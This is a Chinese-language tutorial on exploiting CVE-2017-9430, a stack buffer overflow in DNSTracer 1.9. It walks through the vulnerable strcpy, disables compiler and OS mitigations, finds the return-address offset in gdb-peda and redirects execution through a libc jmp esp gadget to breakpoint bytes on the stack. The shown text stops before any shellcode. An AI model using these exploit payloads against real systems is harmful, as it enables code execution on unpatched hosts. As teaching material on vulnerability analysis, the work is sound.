DNSTracer 1.9栈溢出漏洞[CVE-2017-9430]

对一个年代久远的经典栈溢出,从漏洞分析到编写exp的过程进行了记录。我个人正在录制二进制安全系列教程,该样本将作为经典栈溢出的讲解实例。
收录:二进制安全系列教程
链接:https://pan.baidu.com/s/1ltcHIehhLFVFMvru6tGQ8A 密码:axje

[CVE-2017-9430]DNSTracer 1.9栈溢出漏洞

DNSTracer顾名思义,是一个DNS解析过程的跟踪器。版本1.9之前一直存在着一个非常明显的栈溢出漏洞。这个漏洞在2017年被发现并申请了CVE。尽管这个漏洞比较新,但它的漏洞类型、漏洞成因以及利用并没有引入什么新鲜的东西。毕竟栈溢出漏洞简单粗暴。

这个漏洞非常适合初学者学习,除了该漏洞较为简单以外,最大的优势在于它是开源的,初学者可以通过源码级的分析与调试来完成整个exp,深入理解栈溢出。

本文将在Linux x86平台上,从漏洞成因一路杀到exp的编写,供后来人借鉴一二。

调研

对于曝出来的漏洞,第一手资料显然是提交者或平台公布的信息。经过简单的浏览得知,这个漏洞存在于该程序的main函数中,该函数在接收用户传参时,没有检查输入的长度,而通过strcpy把输入拷贝到了main函数的局部数组变量中,导致了栈溢出。

由于开源,我们直接下载对应版本的源码包,找到源码的关键位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
int
main(int argc, char **argv)
{
int ch;
char * server_name = "127.0.0.1";
char * server_ip = "0000:0000:0000:0000:0000:0000:0000:0000";
char ipaddress[NS_MAXDNAME];
char argv0[NS_MAXDNAME];// 长度在
int server_root = 0;
int ipv6 = 0;

#ifndef WIN32
//
// Get the first nameserver from /etc/resolv.conf
//
// This piece of code was donated by Moritz Barsnick.
//
if (!(_res.options & RES_INIT))
res_init();

if (_res.nscount > 0) {
server_ip = strdup(inet_ntoa(_res.nsaddr_list[0].sin_addr));
server_name = strdup(server_ip);
}
#endif

#ifdef WIN32
wsockinit();
#endif
// Linux下经典的getopt范式
while ((ch = getopt(argc, argv, "4cCoq:r:S:s:t:v")) != -1) {
switch (ch) {
case '4':
#ifndef NOIPV6
global_noipv6 = 1;
#else
printf("Option -4 ignored\n");
#endif
break;

case 'c':
global_caching = 0;
break;

case 'C':
global_negative_caching = 1;
break;

case 'o':
global_overview = 1;
break;

case 'q':
if ((global_querytype = atoi(optarg)) < 1) {
#define compare(s, v) \
if (strcmp((s), optarg) == 0) global_querytype = (v)

compare("a", ns_t_a );
compare("aaaa", ns_t_aaaa );
compare("a6", ns_t_aaaa );
compare("ptr", ns_t_ptr );
compare("cname",ns_t_cname );
compare("hinfo",ns_t_hinfo );
compare("mx", ns_t_mx );
compare("ns", ns_t_ns );
compare("txt", ns_t_txt );
compare("soa", ns_t_soa );

if (global_querytype < 1) {
fprintf(stderr,
"Strange querytype, setting to default\n");
global_querytype = DEFAULT_QUERYTYPE;
}
}
break;

case 'r':
if ((global_retries = atoi(optarg)) < 1) {
fprintf(stderr,
"Strange amount of retries, setting to default\n");
global_retries = DEFAULT_RETRIES;
}
break;

case 'S':
global_source_address = optarg;
break;

case 's':
server_name = optarg;
if (strcmp(server_name, ".") == 0) {
server_name = strdup("A.ROOT-SERVERS.NET");
server_root = 1;
}
break;

case 't':
global_timeout = atoi(optarg);
break;

case 'v':
verbose = 1;
break;

default:
usage();
}
}
// argc和argv skip过上面处理的参数
argc -= optind;
argv += optind;

// 此时argv[0]就是以上参数其后的第一个参数
if (argv[0] == NULL) usage();

// check for a trailing dot
// 这里没有对argv[0]的长度进行检查,直接拷贝到了局部数组变量argv0
strcpy(argv0, argv[0]);
if (argv0[strlen(argv[0]) - 1] == '.') argv0[strlen(argv[0]) - 1] = 0;

printf("Tracing to %s[%s] via %s, maximum of %d retries\n",
argv0, rr_types[global_querytype], server_name, global_retries);

srandom(time(NULL));

{
struct hostent *h = NULL;

#ifndef NOIPV6
h = gethostbyname2(server_name, AF_INET6);
#endif
if (h == NULL || global_noipv6)
h = gethostbyname2(server_name, AF_INET);
if (h == NULL) {
fprintf(stderr, "Cannot find IP address for %s\n", server_name);
return 1;
}
if (h->h_addrtype == AF_INET) {
unsigned char *s = h->h_addr_list[0];
sprintf(ipaddress, "%hu.%hu.%hu.%hu", s[0], s[1], s[2], s[3]);
ipv6 = 0;
} else {
unsigned char *s = h->h_addr_list[0];
sprintf(ipaddress,
"%02hx%02hx:%02hx%02hx:%02hx%02hx:%02hx%02hx:"
"%02hx%02hx:%02hx%02hx:%02hx%02hx:%02hx%02hx",
s[ 0], s[ 1], s[ 2], s[ 3], s[ 4], s[ 5], s[ 6], s[ 7],
s[ 8], s[ 9], s[10], s[11], s[12], s[13], s[14], s[15]);
ipv6 = 1;
}
}

create_session(argv0, ipaddress, ipv6, server_name,
server_root == 0 ? NULL : ".", 0, "", 1);

printf("\n");

if (global_overview != 0) {
printf("\n");
display_arecords();
}

return 0;
}

搜索一下NS_MAXDNAME宏定义:

1
2
3
r00tk1t@ubuntu:~/bin-sec/stack-based/practice/dnstracer/dnstracer-1.9$ grep -nr "NS_MAXDNAME"
dnstracer_broken.h:58:#ifndef NS_MAXDNAME
dnstracer_broken.h:59:#define NS_MAXDNAME 1024

得知argv0的大小为1024。

那么,当argv[0]对应的输入长度超过1024+xxx(取决于栈帧中局部变量的布局)时,就会覆盖到ebp和ret addr。

编译

本地./configure && make && make install素质三连。注意因为是研究经典栈溢出,所以需要在关闭时调整一些默认的mitigation选项,在./configure之后修改一下Makefile,仅仅需要调整$CFLAGS编译选项:

CFLAGS = -g -O2 -fno-stack-protector -Wl,-zexecstack -D_FORTIFY_SOURCE=0

简单说一下,-g -O2是自带的,表示调试信息和2级优化。后面的这三个分别表示禁用Stack canary、关闭NX以及关闭源码增强(比如防止编译器自作聪明的替换一些不安全函数,如我们上面的strcpy)。

此外,最好关闭ASLR(echo 0 > /proc/sys/kernel/randomize_va_space; 需要用root账户操作)。

1
2
3
4
5
6
7
8
9
10
11
12
r00tk1t@ubuntu:~/bin-sec/stack-based/practice/dnstracer/dnstracer-1.9$ make
make all-am
make[1]: Entering directory `/home/r00tk1t/bin-sec/stack-based/practice/dnstracer/dnstracer-1.9'
source='dnstracer.c' object='dnstracer.o' libtool=no \
depfile='.deps/dnstracer.Po' tmpdepfile='.deps/dnstracer.TPo' \
depmode=gcc3 /bin/bash ./depcomp \
gcc -DHAVE_CONFIG_H -I. -I. -I. -g -O2 -fno-stack-protector -Wl,-zexecstack -D_FORTIFY_SOURCE=0 -c `test -f 'dnstracer.c' || echo './'`dnstracer.c
<command-line>:0:0: warning: "_FORTIFY_SOURCE" redefined [enabled by default]
<built-in>:0:0: note: this is the location of the previous definition
gcc -g -O2 -fno-stack-protector -Wl,-zexecstack -D_FORTIFY_SOURCE=0 -o dnstracer dnstracer.o
make[1]: Leaving directory `/home/r00tk1t/bin-sec/stack-based/practice/dnstracer/dnstracer-1.9'
r00tk1t@ubuntu:~/bin-sec/stack-based/practice/dnstracer/dnstracer-1.9$

如果编译后调整了CFLAGS,要注意先make clean,然后重新make。对于熟悉Linux编程的小伙伴对于这些操作已经是烂熟于胸了。

make install注意需要root权限,当然这一步也可以不用,因为我们并非安装工具,能够gdb make生成在当前文件夹下的dnstracer就足够了。

对于编译选项的调整,或者说3个安全mitigation的关闭,主要是因为本案例用于分析经典栈溢出。实际上ASLR、NX等等在很多场景下都有绕过的方法,对于本案例我们降低难度(作者给出的exp也仅仅只能达成拒绝服务,我猜想可能是受限于环境,某些mitigation绕不过)。

寻找ret addr的偏移

完事具备,我们把编译出来的dnstracer丢到IDA里看看argv0距离ebp的偏移。

因为反汇编main未显示变量argv0的偏移,且argv0也没有标识出来,虽然可以根据源码或者直接硬着头皮读反汇编找到argv0,但这里我们选择取巧,直接F5大法反编译,C代码八九不离十,这里我重名了argv0。

同时可以看到argv0距离ebp的偏移是0x40D,十进制就是1037。

那么,理论上覆盖1041个垃圾数据加上4字节的某个地址就可以成功覆盖ret addr了。

gdb跑起来,先看看程序的security设置是否如期:

1
2
3
4
5
6
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial

Nice!

然后set args $(python -c 'print "A"*1041+"B"*4'),r运行(要运行一段时间,毕竟main中ret前有很多调用),然而程序跑飞了:

1
2
3
4
5
6
7
gdb-peda$ set args $(python -c 'print "A"*1041+"B"*4')
gdb-peda$ r
Starting program: /home/r00tk1t/bin-sec/stack-based/practice/dnstracer/dnstracer-1.9/dnstracer $(python -c 'print "A"*1041+"B"*4')
Tracing to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB[a] via 127.0.1.1, maximum of 3 retries
127.0.1.1 (127.0.1.1) * * *
[Inferior 1 (process 25981) exited normally]
Warning: not running or target is remote

这就很难受了,居然是exited normally。。。

这种情况显然就是IDA算出的偏移不正确,我们没能够overwrite返回地址。

那么如何找到正确的地址呢?既然IDA已经“出错了”。简单的办法可以gdb时反汇编main函数,打印argv0地址,手工算一下偏移。或者另外一种办法,就是黑灯瞎火直接patten_create+pattern_offset素质二连。

第二种方法在EasyRM2MP3中已经展示过了,所以我们看第一种,在main的ret处0x08048f69地址下断,运行并断下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fc0898 --> 0x0
EDX: 0xa ('\n')
ESI: 0x42424242 ('BBBB')
EDI: 0x0
EBP: 0x0
ESP: 0xbfffec5c --> 0xb7e2da83 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
EIP: 0x8048f69 (<main+1193>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048f66 <main+1190>: pop esi
0x8048f67 <main+1191>: pop edi
0x8048f68 <main+1192>: pop ebp
=> 0x8048f69 <main+1193>: ret
0x8048f6a <main+1194>: call 0x8048860 <__res_init@plt>
0x8048f6f <main+1199>: jmp 0x8048ae3 <main+35>
0x8048f74 <main+1204>: mov eax,DWORD PTR [esp+0x4c]
0x8048f78 <main+1208>: mov DWORD PTR [esp+0x4],0x2
[------------------------------------stack-------------------------------------]
0000| 0xbfffec5c --> 0xb7e2da83 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0004| 0xbfffec60 --> 0x2
0008| 0xbfffec64 --> 0xbfffecf4 --> 0xbfffeec3 ("/home/r00tk1t/bin-sec/stack-based/practice/dnstracer/dnstracer-1.9/dnstracer")
0012| 0xbfffec68 --> 0xbfffed00 --> 0xbffff326 ("XDG_VTNR=7")
0016| 0xbfffec6c --> 0xb7feccea (<call_init+26>: add ebx,0x12316)
0020| 0xbfffec70 --> 0x2
0024| 0xbfffec74 --> 0xbfffecf4 --> 0xbfffeec3 ("/home/r00tk1t/bin-sec/stack-based/practice/dnstracer/dnstracer-1.9/dnstracer")
0028| 0xbfffec78 --> 0xbfffec94 --> 0x185eb031
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048f69 in main (argc=<optimized out>, argv=<optimized out>)
at dnstracer.c:1668
1668 }
gdb-peda$ info reg
eax 0x0 0x0
ecx 0xb7fc0898 0xb7fc0898
edx 0xa 0xa
ebx 0x41414141 0x41414141
esp 0xbfffec5c 0xbfffec5c
ebp 0x0 0x0
esi 0x42424242 0x42424242
edi 0x0 0x0
eip 0x8048f69 0x8048f69 <main+1193>
eflags 0x246 [ PF ZF IF ]
cs 0x73 0x73
ss 0x7b 0x7b
ds 0x7b 0x7b
es 0x7b 0x7b
fs 0x0 0x0
gs 0x33 0x33

此时esp是0xbfffec5c,向上翻翻果然看到了0x41414141和最终的0x42424242。

1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ x/20x $esp
0xbfffec5c: 0xb7e2da83 0x00000002 0xbfffecf4 0xbfffed00
0xbfffec6c: 0xb7feccea 0x00000002 0xbfffecf4 0xbfffec94
0xbfffec7c: 0x0804f060 0x080484b0 0xb7fbf000 0x00000000
0xbfffec8c: 0x00000000 0x00000000 0x185eb031 0x2232f421
0xbfffec9c: 0x00000000 0x00000000 0x00000000 0x00000002
gdb-peda$ x/20x $esp-20
0xbfffec48: 0x41414141 0x41414141 0x42424242 0x00000000
0xbfffec58: 0x00000000 0xb7e2da83 0x00000002 0xbfffecf4
0xbfffec68: 0xbfffed00 0xb7feccea 0x00000002 0xbfffecf4
0xbfffec78: 0xbfffec94 0x0804f060 0x080484b0 0xb7fbf000
0xbfffec88: 0x00000000 0x00000000 0x00000000 0x185eb031

找找argv0的地址,对于开了gcc -g的程序来说,其实可以直接print &argv0,但执行到此处它的值应该已经不正确了,我们其实只需要计算0x424242距离esp的偏移就行了。这个偏移是0xbfffec5c-0xbfffec50 = 0xc = 12。所以和IDA找到的差了12个字节(为什么差12个字节我没有深究,如果你找到了原因请告诉我:))。

那么我们只需要修改一下参数:

1
gdb-peda$ set args $(python -c 'print "A"1053+"B"4')

r重新跑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
gdb-peda$ r
Starting program: /home/r00tk1t/bin-sec/stack-based/practice/dnstracer/dnstracer-1.9/dnstracer $(python -c 'print "A"*1053+"B"*4')
Tracing to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB[a] via 127.0.1.1, maximum of 3 retries
127.0.1.1 (127.0.1.1) * * *







[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fc0898 --> 0x0
EDX: 0xa ('\n')
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbfffec4c ("BBBB")
EIP: 0x8048f69 (<main+1193>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048f66 <main+1190>: pop esi
0x8048f67 <main+1191>: pop edi
0x8048f68 <main+1192>: pop ebp
=> 0x8048f69 <main+1193>: ret
0x8048f6a <main+1194>: call 0x8048860 <__res_init@plt>
0x8048f6f <main+1199>: jmp 0x8048ae3 <main+35>
0x8048f74 <main+1204>: mov eax,DWORD PTR [esp+0x4c]
0x8048f78 <main+1208>: mov DWORD PTR [esp+0x4],0x2
[------------------------------------stack-------------------------------------]
0000| 0xbfffec4c ("BBBB")
0004| 0xbfffec50 --> 0x0
0008| 0xbfffec54 --> 0xbfffece4 --> 0xbfffeeb7 ("/home/r00tk1t/bin-sec/stack-based/practice/dnstracer/dnstracer-1.9/dnstracer")
0012| 0xbfffec58 --> 0xbfffecf0 --> 0xbffff326 ("XDG_VTNR=7")
0016| 0xbfffec5c --> 0xb7feccea (<call_init+26>: add ebx,0x12316)
0020| 0xbfffec60 --> 0x2
0024| 0xbfffec64 --> 0xbfffece4 --> 0xbfffeeb7 ("/home/r00tk1t/bin-sec/stack-based/practice/dnstracer/dnstracer-1.9/dnstracer")
0028| 0xbfffec68 --> 0xbfffec84 --> 0x46511f4f
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048f69 in main (argc=<optimized out>, argv=<optimized out>)
at dnstracer.c:1668
1668 }
gdb-peda$ x/x $esp
0xbfffec4c: 0x42424242

这一次就对了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gdb-peda$ ni

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fc0898 --> 0x0
EDX: 0xa ('\n')
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbfffec50 --> 0x0
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbfffec50 --> 0x0
0004| 0xbfffec54 --> 0xbfffece4 --> 0xbfffeeb7 ("/home/r00tk1t/bin-sec/stack-based/practice/dnstracer/dnstracer-1.9/dnstracer")
0008| 0xbfffec58 --> 0xbfffecf0 --> 0xbffff326 ("XDG_VTNR=7")
0012| 0xbfffec5c --> 0xb7feccea (<call_init+26>: add ebx,0x12316)
0016| 0xbfffec60 --> 0x2
0020| 0xbfffec64 --> 0xbfffece4 --> 0xbfffeeb7 ("/home/r00tk1t/bin-sec/stack-based/practice/dnstracer/dnstracer-1.9/dnstracer")
0024| 0xbfffec68 --> 0xbfffec84 --> 0x46511f4f
0028| 0xbfffec6c --> 0x804f060 --> 0xb7e2d990 (<__libc_start_main>: push ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x42424242 in ?? ()

寻找jmp esp

用peda的jmpcall命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x0804e000 r-xp /home/r00tk1t/bin-sec/stack-based/practice/dnstracer/dnstracer-1.9/dnstracer
0x0804e000 0x0804f000 r-xp /home/r00tk1t/bin-sec/stack-based/practice/dnstracer/dnstracer-1.9/dnstracer
0x0804f000 0x08050000 rwxp /home/r00tk1t/bin-sec/stack-based/practice/dnstracer/dnstracer-1.9/dnstracer
0x08050000 0x08073000 rwxp [heap]
0xb7e13000 0xb7e14000 rwxp mapped
0xb7e14000 0xb7fbd000 r-xp /lib/i386-linux-gnu/libc-2.19.so
0xb7fbd000 0xb7fbf000 r-xp /lib/i386-linux-gnu/libc-2.19.so
0xb7fbf000 0xb7fc0000 rwxp /lib/i386-linux-gnu/libc-2.19.so
0xb7fc0000 0xb7fc3000 rwxp mapped
0xb7fd8000 0xb7fdb000 rwxp mapped
0xb7fdb000 0xb7fdc000 r-xp [vdso]
0xb7fdc000 0xb7fde000 r--p [vvar]
0xb7fde000 0xb7ffe000 r-xp /lib/i386-linux-gnu/ld-2.19.so
0xb7ffe000 0xb7fff000 r-xp /lib/i386-linux-gnu/ld-2.19.so
0xb7fff000 0xb8000000 rwxp /lib/i386-linux-gnu/ld-2.19.so
0xbffde000 0xc0000000 rwxp [stack]
gdb-peda$ jmpcall esp libc-2.19.so
0xb7e16a85 : jmp esp
0xb7e71c4d : jmp esp
0xb7efcaed : jmp esp
0xb7f68720 : call esp
0xb7f6f4d7 : call esp
0xb7f6f557 : call esp
0xb7f6f657 : call esp
0xb7f6f6d7 : call esp
0xb7f6f757 : call esp
0xb7f748ab : jmp esp
0xb7f7e4b3 : jmp esp
0xb7f7e4c7 : call esp
0xb7f7e4db : jmp esp
0xb7f7e723 : call esp
0xb7f7e74b : jmp esp
0xb7f7e75b : jmp esp
0xb7f7e9a3 : jmp esp
0xb7f7e9b7 : call esp
0xb7f7ec27 : jmp esp
0xb7f7ec3b : call esp
0xb7f7ec4f : call esp
0xb7f7edcb : jmp esp
0xb7f7edcf : call esp
0xb7f7ee53 : jmp esp
0xb7f7f053 : jmp esp
--More--(25/175)q

就用第一个吧,字符都很常规,应该不存在截断(0xb7e16a85)。

先把后面都填充成0xCC。

1
gdb-peda$ set args $(python -c 'print "A"*1053+"\x85\x6a\xe1\xb7"+"\xcc"*30')

r重新运行,程序最终运行到第一个0xcc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
gdb-peda$ r
Starting program: /home/r00tk1t/bin-sec/stack-based/practice/dnstracer/dnstracer-1.9/dnstracer $(python -c 'print "A"*1053+"\x85\x6a\xe1\xb7"+"\xcc"*30')
Tracing to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�j��������������������������������[a] via 127.0.1.1, maximum of 3 retries
127.0.1.1 (127.0.1.1) * * *

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fc0898 --> 0x0
EDX: 0xa ('\n')
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbfffec2c --> 0xb7e16a85 --> 0x7f1be4ff
EIP: 0x8048f69 (<main+1193>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048f66 <main+1190>: pop esi
0x8048f67 <main+1191>: pop edi
0x8048f68 <main+1192>: pop ebp
=> 0x8048f69 <main+1193>: ret
0x8048f6a <main+1194>: call 0x8048860 <__res_init@plt>
0x8048f6f <main+1199>: jmp 0x8048ae3 <main+35>
0x8048f74 <main+1204>: mov eax,DWORD PTR [esp+0x4c]
0x8048f78 <main+1208>: mov DWORD PTR [esp+0x4],0x2
[------------------------------------stack-------------------------------------]
0000| 0xbfffec2c --> 0xb7e16a85 --> 0x7f1be4ff
0004| 0xbfffec30 --> 0xcccccccc
0008| 0xbfffec34 --> 0xcccccccc
0012| 0xbfffec38 --> 0xcccccccc
0016| 0xbfffec3c --> 0xcccccccc
0020| 0xbfffec40 --> 0xcccccccc
0024| 0xbfffec44 --> 0xcccccccc
0028| 0xbfffec48 --> 0xcccccccc
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048f69 in main (argc=<optimized out>, argv=<optimized out>)
at dnstracer.c:1668
1668 }
gdb-peda$ p $esp
$5 = (void *) 0xbfffec2c
gdb-peda$ ni
Cannot access memory at address 0x41414145
gdb-peda$ p $esp
$6 = (void *) 0xbfffec30
gdb-peda$ x/x $esp
0xbfffec30: 0xcccccccc
gdb-peda$ x/i $eip
=> 0xb7e16a85: jmp esp
gdb-peda$ ni

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fc0898 --> 0x0
EDX: 0xa ('\n')
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbfffec30 --> 0xcccccccc
EIP: 0xbfffec30 --> 0xcccccccc
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0xbfffec30: int3
0xbfffec31: int3
0xbfffec32: int3
0xbfffec33: int3
[------------------------------------stack-------------------------------------]
0000| 0xbfffec30 --> 0xcccccccc
0004| 0xbfffec34 --> 0xcccccccc
0008| 0xbfffec38 --> 0xcccccccc
0012| 0xbfffec3c --> 0xcccccccc
0016| 0xbfffec40 --> 0xcccccccc
0020| 0xbfffec44 --> 0xcccccccc
